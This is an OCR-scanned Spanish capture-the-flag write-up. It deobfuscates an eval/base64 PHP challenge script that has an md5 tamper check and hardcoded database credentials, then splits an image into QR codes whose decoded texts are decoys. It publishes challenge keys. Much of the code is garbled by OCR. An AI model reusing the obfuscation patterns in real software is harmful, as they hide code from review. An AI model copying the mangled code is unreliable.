ceDM3XDYyXHg2N1w2N1x4MzZcNzBceDM2XDY2XHgzOFwxNDNceDMwXDcxXHgzM1w2MEFx4Mz1cMTQ1XHg2NFw2NFx
4NJRcMTQ1XHgzN1w2N1x4NjVeNyYiKT8kemQ20WF1 ZmI 4NjQxOTIKNTgxNTM5Y zBhMWUx ZThiMzEoKTokdWEZ ZDA
3ZDk2Nj 1mMzVmZmQ5YTMwYTBiNTgwZ jNJMDAOKTs=")) ;

?>



El codigo esta ofuscado mediante una pagina en linea, analizando podemos ver un eval, el cual
llama a una funcion que se intento esconder mediante el uso de funciones variables [2], esta
funcion corresponde a base64 decode. Reemplazamos la funcion eval por print con el fin de
poder ver lo que el interprete de PHP esta evaluando, y obtenemos un codigo que despues de
ordenarlo un poco corresponde a:

Sy3ff7c467873253d0cd0452¢c9d116a23="\x62";
Sb6ff4a5dbdfcl80370e5¢c£9£73883a30="\x65";
$SmB8e04e8ae89bf8b926523f1d916al72e="\x66";
Suleaca32691110b6cfal3ab6e69c37775="\x67";
$250ad009££8904910028e40£5f40be5d="\x6d";
$rd69aefb864192d581539clalele8c31="\x6f";
$ua3d07d9669f35f£d%9a30a0b580£3c00="\x6£";
$cfb98347cabad239640c2ccd90761589="\x6£f";
$x5720fbf27blalldbd5fe77536c75b44="\x6£";
$vd21b5a05ec53£f0a866501397c07cee7="\x73";
$n5ab5d08£155b7afd8bbal39032658217="\x73";
$t7543950£f5cealelb7097cb05efcc6bl3="\x73";
$a616750d6d56£ce719f00619089391c2="\x73";
Sy3ff7c467873253d0cd0452c9d116a23.="\141";
Sb6ff4ab5dbdfcl180370e5¢cf9£73883a30.="\162";
Sm8e04e8ae89bf8b926523f1d916al72e.="\151";
Suleaca32691110b6cfal3ab6e69¢c37775.="\172";
$250ad009££8904910028e40£5f40be5d.="\144";
$rd69aefb864192d581539clalele8c31.="\142";
$ua3d07d9669£35f£d%9a30a0b580£3c00.="\142";
$cfb98347cabad239640c2ccd90761589.="\142";
$x5720fbf27blalldbd5fe77536¢c75b44.="\142";
$vd21b5a05ec53£0a866501397c07cee7.="\164";
$n5ab5d08£f155b7afd8bbal39032658217.="\164";
$t7543950f5cealelb7097cb05efccob3.="\164";
$a616750d6d56fce719£f00619089391c2.="\164";
Sy3ff7c467873253d0cd0452c9d116a23.="\x73";
Sb6ff4a5dbdfcl180370e5¢c£9£73883a30.="\x65";
SmB8e04e8ae89bf8b926523f1d916al72e.="\x6c";
Suleaca32691110b6cfal3ab6e69c37775.="\x69";
$250ad009££8904910028e40£5£f40be5d.="\x35";
$rd69aefb864192d581539clalele8c31.="\x5f";
$ua3d07d9669£35£f£d%9a30a0b580£3c00.="\x5f";
$cfb98347cabad239640c2ccd490761589.="\x5f";
$x5720fbf27blalldbd5fe77536¢c75b44 .="\x5f";
$vd21b5a05ec53£0a866501397c07cee7.="\x72";
$n5ab5d08£155b7afd8bbal39032658217.="\x72";
$t7543950f5cealelb7097cb05efccbbl3.="\x72";
$a616750d6d56£fce719£f00619089391c2.="\x72";
Sy3ff7c467873253d0cd0452c9d116a23.="\145";
Sb6ff4a5dbdfcl80370e5c£9£73883a30.="\147";
Sm8el04e8ae89bf8b926523f1d916al72e.="\145";
Suleaca32691110b6cfal3ab6e69¢c37775.="\156";
Srd69aefb864192d581539clalele8c31.="\145";
$ua3d07d9669£f35£f£d%9a30a0b580£3c00.="\145";
$cfb98347cabad239640c2ccd490761589.="\147";
$x5720fbf27blalldbd5fe77536¢c75b44.="\163";
$Svd21b5a05ec53f0a866501397c07cee7.="\137";
$n5ab5d08£155b7afd8bbal39032658217.="\137";
$t7543950f5cealelb7097cb05efcc6b3.="\160";
$a616750d6d56£fce719£f00619089391c2.="\164";
Sy3f£f7c467873253d0cd0452c9d116a23.="\x36";



Sb6ff4a5dbdfcl180370e5¢cf9£73883a30
Sm8e04e8ae89bf8b926523f1d916al72e
Suleaca32691110b6cfa3ab6e69¢c37775
$rd69aefb864192d581539clalele8c31
$ua3d07d9669£f35f£d%9a30a0b580£3c00
$cfb98347cabad4239640c2cc490761589
$x5720fbf27blalldbd5fe77536¢c75b44
$vd21b5a05ec53f0a866501397c07cee’
$n5ab5d08f155b7afd8bba39032658217
$t7543950f5cealel0b7097cb05efccob3
$a616750d6d56fce719f00619b89391c2
Sy3ff7c467873253d0cd0452c9d116a23
Sb6ff4a5dbdfc180370e5¢cf9£73883a30
Sm8e04e8ae89bf8b926523f1d916al’2e
Suleaca32691110b6cfal3ab6e69¢c37775
$rd69aefb864192d581539clalele8c3l
$1ua3d07d9669£f35ffd%9a30a0b580£3c00
$cfb98347cabad239640c2cc490761589
$x5720fbf27blalldbd5fe77536¢c75b44
$vd21b5a05ec53£f0a866501397c07cee’
$n5ab5d08f155b7afd8bba39032658217
$t7543950f5cealel0b7097cb05efccob3
$a616750d6d56fce719f00619b89391c2
Sy3f£7c467873253d0cd0452¢c9d116a23
Sb6ff4a5dbdfcl80370e5c£9£73883a30
Sm8e04e8ae89bf8b926523f1d916al72e
Suleaca32691110b6cfal3ab6e69¢c37775
Srd69aefb864192d581539clalele8c31
$1ua3d07d9669£f35ffd%9a30a0b580£3c00
$cfb98347cabad239640c2cc490761589
$x5720fbf27blalldbd5fe77536¢c75b44
Svd21b5a05ec53£0a866501397c07cee’
$n5ab5d08f155b7afd8bba39032658217
Sy3f£7¢c467873253d0cd0452¢c9d116a23
Sb6ff4a5dbdfcl180370e5¢cf9£73883a30
SmB8e04e8ae89bf8b926523f1d916al72e
Suleaca32691110b6cfal3ab6e69c37775
Srd69aefb864192d581539clalele8c31
$ua3d07d9669£35f£fd%9a30a0b580£3c00
$cfb98347cabad239640c2cc490761589
$x5720fbf27blalldbd5fe77536¢75b44
$vd21b5a05ec53£0a866501397c07cee’
$n5ab5d08f155b7afd8bba39032658217
Sy3ff7c467873253d0cd0452¢9d116a23
Sb6ff4a5dbdfcl180370e5¢cf9£f73883a30
SmB8e04e8ae89bf8b926523f1d916al72e
Suleaca32691110b6cfal3ab6e69c37775
$rd69aefb864192d581539clalele8c31
$ua3d07d9669£35££fd%9a30a0b580£3c00
$cfb98347cabad239640c2cc490761589
$vd21b5a05ec53£0a866501397c07cee’
$n5ab5d08f155b7afd8bba39032658217
Sy3f£f7¢467873253d0cd0452¢c9d116a23
Sb6ff4a5dbdfcl180370e5¢cf9£f73883a30
SmB8e04e8ae89bf8b926523f1d916al72e
$rd69aefb864192d581539clalele8c3l
$1ua3d07d9669£f35ffd%9a30a0b580£3c00
$cfb98347cabad239640c2cc490761589
$vd21b5a05ec53£0a866501397c07cee’
Sy3f£7¢c467873253d0cd0452¢c9d116a23
Sb6ff4a5dbdfcl180370e5¢cf9£73883a30
SmB8e04e8ae89bf8b926523f1d916al72e

.="\x5f";
L="\x5f";
.="\x66";
.="\x6e";
.="\x6e";
.="\x65";
L="\x74";
="\x72";
L="\xT2";
="\x6£";
="\x6E";
.="\64";

="\162";
="\147";
="\154";
.="\144";
="\144";
="\164";
L="\141";
.="\145";
="\157";
.="\163";
="\153";
="\x5E";
.="\x65";
.="\x65";
="\x61";
L="\x5f";
="\x5£";
.="\x5f";
="\xT72";
.="\x70";
L="\x74";
="\144";
.="\160";
="\164";
="\164";
="\143";
.="\146";
.="\143";
="\164";
="\154";
="\61";

.="\x65";
.="\x6c";
.="\x5f";
.="\x65";
.="\x6c";
.="\x6c";
="\x6£";
.="\x61";
.="\x33";
.="\143";
.="\141";
="\143";
="\145";
.="\165";
.="\156";
.="\143";
="\x6f";
.="\x63";
="\x6£";



$rd69aefb864192d581539clalele8c3l.="\x61";

$ua3d07d9669£35££d%9a30a0b580£3c00.="\x73";

$cfb98347cabad239640c2cc490761589.="\x74";

$vd21b5a05ec53£0a866501397¢c07cee7.="\x65";

Sy3f£7c467873253d0cd0452c9d116a23.="\144";

Sb6ff4a5dbdfcl80370e5c£9£73883a30.="\145";

$mB8e04e8ae89bf8b926523f1d916al72e.="\156";

$rd69aefb864192d581539c0alele8c31.="\156";

$ua3d07d9669£35££d%9a30a0b580£3c00.="\150";

$cfb98347cabad239640c2cc490761589.="\145";

$y3£f£7c467873253d0cd0452c9d116a23.="\x65";

$mB8e04e8ae89bf8b926523£f1d916al72e.="\x74";

$cfb98347cabad239640c2cc490761589.="\x6e";

$mB8e04e8ae89bf8b926523f1d916al72e.="\145";

$cfb98347cabad239640c2cc490761589.="\164";

SmB8e04e8ae89pf8b926523f1d916al72e.="\x6e";

$cfb98347cabad239640c2cc490761589.="\x73";

$mB8e04e8ae89bf8b926523f1d916al72e.="\164";

$mB8e04e8ae89bf8b926523£f1d916al72e.="\x73";

$x5720fbf27blalldbd5fe77536¢c75b44 () ;

1f($250ad009££8904910028e40£5£40be5d ($b6££4a5dbdfcl180370e5c£9£73883a30 ("\x5c\50\x22\13
3\x30\55\x39\101\x2d\132\x61\55\x7a\134\x2b\57\x3d\135\x2a\42\x5c\51", "\x28\42\x22\51"
,$vd21b5a05ec53f0a866501397c07cee7 ("\r\n","", Sm8e04e8ae89bf80b926523f1d9%16al72e ($a6l675
0d6d56£fce719£f00619089391c2(_ FILE ,"\x28")))))
=="\x33\61\x32\144\x65\146\x34\71\x66\67\x65\60\x33\60\x33\70\x38\143\x36\143\x33\144\x30\63\x62\
66\x65\145\x62\62\x61\61") {

@eval (Suleaca32691110b6cfal3ab6e69c37775 ($y3£f£7c467873253d0cd0452¢9d116a23 ($n5ab5d08£15
5b7afd8bba39032658217 ("mIoooc)jRCOIS+HOOWGO2WugcFGdD9/
106IPYWuzcp2lNnVxvieiaoUU3Acg2vbCyIMn2M7YRBIpTwl9BSI+gAShbGhPalxdglaNgjeJhMXIIbgKcksKIk
+1Q7LUcgz3niAJUch23+2/+5/
mGmH1jloo70q7c3irlWIHMUICEXERMIITE14kYKX8mYuWLk7NsjGbPh8G+X+TqZzsNI3VAtWOHz1226adJ4u/
5bc4FALILLGOL/
8WrrgKabgTggZXFZ8JuOIFTMUE4en1TI4uwvRINQlIx4tmcLkWOErobgBiuDXeUExcoblvtPDGh44yHL9gxVFQ07Mz /
eh75+5+y5sAsd/Y3agxmjLBM]5zRY0dd31e05G3t2NJcAZ7VvIWSKT3+N/0eG/LAha7SFZKNWNM4 f 6E/
JRpPBDbNgVNoPQ113RZ1jpbJbdZP10GRAw3viWbl4hykd7NL6yX244AbgETVBi1H1GEfV7Divxlg3Qex//
E87UiTYYKEUa2u5UqVkzecgZITR/
ATBaFPiDtmKgnl2js7wY¥2+nk80zybkb2w9QugeiJsKzoS21oCCgBKroP+zw6WsmX0cG5230s0WbPr7DxZfdNyd6+thE
CoIlEbdUhgGQCjEpc+QjSs4ZHOFWSARSBEIHRXfHtu5vaRT6FDvkElaxY+nd4dGfet7AQ1gIlgagEhz0Z2T5KcSZg3n5%c/
FU77JbTutikF6qVa9C4ar/
MbLIgp3aGSQQ3pzlh2tFi78RNTWt7TAxbA0ZzGN8fTIulclZObVLOMox14kxV5ntUQYQSBUwgsVTKaORsnbIMtwQOnJ
VR+1BFLsFOcnl+QixV/K0901XudUenWEOK1ifi4FA/GZktDMnxN3L1jEbBFL1woVrT4pFVk647hGxUGQNg+8PMnl/
tcfyTOBEMM5yojLSqnz7J83tHUDr07AQJIQh0A6QRUOk1gIplEYKIDBtZ41jyzKnpzGje8d+f+xXQ0Krzqg/
OvrWa35k0zyNbyPLxmU98251hQwfHj 5Lkl OXWFnwVNyu+bTVKIv7YLELYw] 7DWPvCUel4BBv6ekVIgEcvO+m9K4iedOj=="))
))

}

$t7543950£5cealelb7097cb05efccob3 ($cfb98347cabad239640c2cc490761589 (), "\x36\61\x38\71\x62\142\x3
2\146\x37\62\x66\67\x36\70\x36\66\x38\143\x30\71\x33\60\x39\145\x64\64\x64\145\x36\67\x65\66")?
Srd69aefb864192d581539clalele8c31 () : $ua3d07d9669£35££d9%9a30a0b580£3c00 () ;

Nuevamente el uso de funciones variables, en este caso la funcion que usan en el condicional
$z50ad009ff8904910028e40f5f40be5d corresponde a md5(), se supuso que esta se usaba
para no ejecutar el codigo si ha sido alterado, de modo que se comento el condicional if.
Tambien es necesario comentar la llamada a la funcion que esta antes y despues del if, que
corresponden a un ob_start(), y a un condicional ternario con llamadas adicionales.

Y nuevamente se reemplaza el eval, por un print, con lo que se obtiene:

/*6189bb2£72£768668c09309ed4de67e6*/?><?php error reporting(E ALL);
ini set ("\x64\151\x73\160\x6c\141\x79\137\x65\162\x72\157\x72\163", "\x31");
$db_host = "\x6c\157\x63\141\x6c\150\x6£\163\x74";



$db_user = "\x72\145\x74\157\x63\160";

$db_pwd = "\x31\62\x33\64\x35\66";

Sdatabase = "\x72\145\x74\157\x63\160";

Stable = "\x61\145\x5f\147\x61\154\x6c\145\x72\171";

if (!mysgl connect ($db_host, $db user, $db pwd)) die (mysql error());
if (!mysqgl select db(Sdatabase)) die(mysql error());

if (!

mysgl query ("\x53\105\x4c\105\x43\124\x20\143\x61\155\x70\157\x31\54\x63\141\x6d\160\x6£\62\x2c\1
43\x61\155\x70\157\x33\54\x63\141\x6d\160\x6£\64\x20\146\x72\157\x6d\40\x6£\160\x65\162\x61\143\x
69\157\x6e\145\x73")) die (mysql error());

$result=mysql query ("\x53\105\x4c\105\x43\124\x20\143\x61\155\x70\157\x31\54\x63\141\x6d\160\x6£\
62\x2c\143\x61\155\x70\157\x33\54\x63\141\x6d\160\x6£\64\x2c\143\x61\155\x70\157\x35\40\x66\162\x
6£\155\x20\157\x70\145\x72\141\x63\151\x6£\156\x65\163") or die (mysql error());

if (!mysgl num rows (Sresult)) die(mysql error());

Srow = mysql fetch array( $result );

if (! (Srow[0] == (int)Srow[0])) die("S$Srow[0]
\x20\156\x6£\40\x65\163\x20\145\x6e\164\x65\162\x6£") ;

if (! (Srow[l] == (int)Srow[l])) die("Srow[l]
\x20\156\x6£\40\x65\163\x20\145\x6e\164\x65\162\x6£f") ;

if (! (Srow[2] == (int)Srow[2])) die("Srow[2]
\x20\156\x6£\40\x65\163\x20\145\x6e\164\x65\162\x6£") ;

if (! (Srow[3] == (int)Srow[3])) die("Srow[3]
\x20\156\x6£\40\x65\163\x20\145\x6e\164\x65\162\x6£f") ;

if (! ($row[4] == (int)Srow[4])) die("Srow[4]
\x20\156\x6£\40\x65\163\x20\145\x6e\164\x65\162\x6£") ;
Scampol=(int) $row[0];

Scampo2=(int) $row[1l];

Scampo3=(int) $row[2];

Scampo4=(int) $Srow[3];

Sresultado real=(int) $row[4]+Scampo2;

print "\x3c\150\x74\155\x6c\76";

print "\x45\154\x20\166\x61\154\x6£\162\x20\40\x65\156\x20\154\x61\40\x42\104\x20\145\x73\72\x20"
.Sresultado_real ."\x3c\142\x72\76";
Sresultado=(int) ($campol+S$campo2-S$campo3+S$campod) ;

print "\x45\154\x20\166\x61\154\x6£f\162\x20\143\x61\154\x63\165\x6c\141\x64\157\x20\145\x73\72\x2
0" .Sresultado ."\x3c\142\x72\76";
if ($resultado == S$resultado real) {

print "\x4c\157\x20\164\x69\145\x6e\145\x73\41\x2c\40\x6c\141\x20\143\x6c\141\x76\145\x20\145\x73
\72\x20\74\x62\76\"\x6£\146\x75\163\x63\141\x72\156\x6£\145\x73\163\x75\146\x69\143\x69\145\x6e\1
64\x65\"\74\x2f\142\x3e\56\x3c\142\x72\76";

print "\x3c\57\x68\164\x6d\154\x3e";

} else {

print "\x3c\142\x72\76\x4c\157\x73\40\x76\141\x6c\157\x72\145\x73\40\x73\157\x6e\40\x64\151\x66\1
45\x72\145\x6e\164\x65\163\x2c\40\x6e\157\x20\164\x65\40\x70\165\x65\144\x6£\40\x64\141\x72\40\x6
c\141\x20\113\x45\131\n";

print "\x3c\57\x68\164\x6d\154\x3e";

o>

Se opto por comentar los condicionales y las instrucciones que hagan referencia a consultas de



mysql, al ejecutar el script obtenemos:

<html>
El valor en la BD es: 0O<br>
El valor calculado es: O<br>

Lo tienes!, la clave es: <b>"ofuscarnoessuficiente"</b>.<br>
</html>

<br>Los valores son diferentes, no te puedo dar la KEY
</html>

La llave para este reto es ofuscarnoessuficiente.
Nivel 1 - Reto 3 - MegaQR

Descripcion

MegaQR? Saca las tijeras!

Archivos adjuntos
otroretomas.bin

Se descargo el archivo adjunto al reto, se identifico con file, se descomprimio y luego el JPG
que aparecia tenia 10x10 codigos QR, con el siguiente script en php y la libreria gd se separan
todas las imagenes individualmente.

<?php
Simg = imagecreatefromjpeg('retocpl04.jpg"');

Scont = 0;
for ($i = 0; $i < 10; $i++) {
for ($3 = 0; $3 < 10; $j++) |
Simgn = imagecreatetruecolor (372, 372);
imagecopyresized($imgn, $img, O, O, $i * 372, $j * 372, 372, 372, 372, 372);

Sname = str pad($cont++, 3, '0', STR PAD LEFT);
imagepng ($imgn, $name . '.png');
imagedestroy ($imgn) ;

}

Con el script se corta la imagen resultando 100 QRCodes, con la herramienta ZBar se
identificaron todos los codigos teniendo esta salida:

QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:RXN0OZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:QWJ1cndpZG8/LCB5YSBjYXNplGxvIHRpZWS5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=



EAN-8:83640667

QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIilbnRI
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXNOYSBzaSBIczogT3Ryb1JIdGONYXNEZVFSUGFyYUNhbXB1c1BhcnR5
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNplGxvIHRpZWS5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIilbnRI
QR-Code:QWJ1cndpZG8/LCB5YSBjYXNplGxvIHRpZWS5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StibGF2ZSsIMOY=
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:QWJ1cndpZG8/LCB5YSBjYXNplGxvIHRpZW5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNplGxvIHRpZW5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0OZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCticytsY StipGF2ZSsIMOY=
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StipbGF2ZSsIMOY=
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIilbnRI
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsY SBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIilbnRI
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBIcyBlc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:QWJ1cndpZG8/LCB5YSBjYXNplGxvIHRpZWS5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIilbnRI
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:QWJ1cndpZG8/LCB5YSBjYXNplGxvIHRpZW5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StibGF2ZSsIMOY=
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==



QR-Code: Tk8geSBOTyBIcyBIc3RhIGXxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0OZSBzb2xvIGVzIHVulHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code: Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/

QR-Code: Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/

QR-Code: Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:QWJ1cndpZG8/LCB5YSBjYXNplGxvIHRpZWS5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZ|
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StibGF2ZSsIM0OY=
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNplGxvIHRpZW5IcywgZXNOY SBubyBlcyBsY SBjbGF2ZSE=
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI

QR-Code: Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StipGF2ZSsIMOY=
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StipbGF2ZSsIMOY=
QR-Code:RXN0ZSBzb2xvIGVzIHVuUlHJIdG8gUVIsIGVuY3VIbnRyYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBIcyBIc3RhIGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI

QR-Code:U2IndWUgYWRIbGFudGUsIHF 1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:RXNOYSBOYW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:TG8gc2llbnRvLCBOYW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXNOb3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:aHROcDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtlcytsY StipbGF2ZSsIMOY=
QR-Code:RXNOYSBOTyBIcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2indWIlbnRI

Decodificando tenemos:

Sigue adelante, quizas la proxima sea la clave
NO y NO es esta la clave, siguiente?

NO y NO es esta la clave, siguiente?

Esta tampoco es la clave

NO y NO es esta la clave, siguiente?

Este solo es un reto QR, encuentra la clave
Este solo es un reto QR, encuentra la clave
Estoy cansado, no encuentro la clave

Estoy cansado, no encuentro la clave
Aburrido?, ya casi lo tienes, esta no es la clave!
> v[%~CE«q

Estoy cansado, no encuentro la clave

Esta NO es la clave, busca la siguiente

Se trata de encontrar la clave

Sigue adelante, quizas la proxima sea la clave
Esta NO es la clave, busca la siguiente

Lo siento, tampoco esta es la clave

Esta tampoco es la clave

Este solo es un reto QR, encuentra la clave
NO y NO es esta la clave, siguiente?

Esta NO es la clave, busca la siguiente
Aburrido?, ya casi lo tienes, esta no es la clave!
Lo siento, tampoco esta es la clave

Esta NO es la clave, busca la siguiente
Aburrido?, ya casi lo tienes, esta no es la clave!
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Sigue adelante, quizas la proxima sea la clave



Aburrido?, ya casi lo tienes, esta no es la clave!
Este solo es un reto QR, encuentra la clave
Aburrido?, ya casi lo tienes, esta no es la clave!
NO y NO es esta la clave, siguiente?

Se trata de encontrar la clave

Estoy cansado, no encuentro la clave

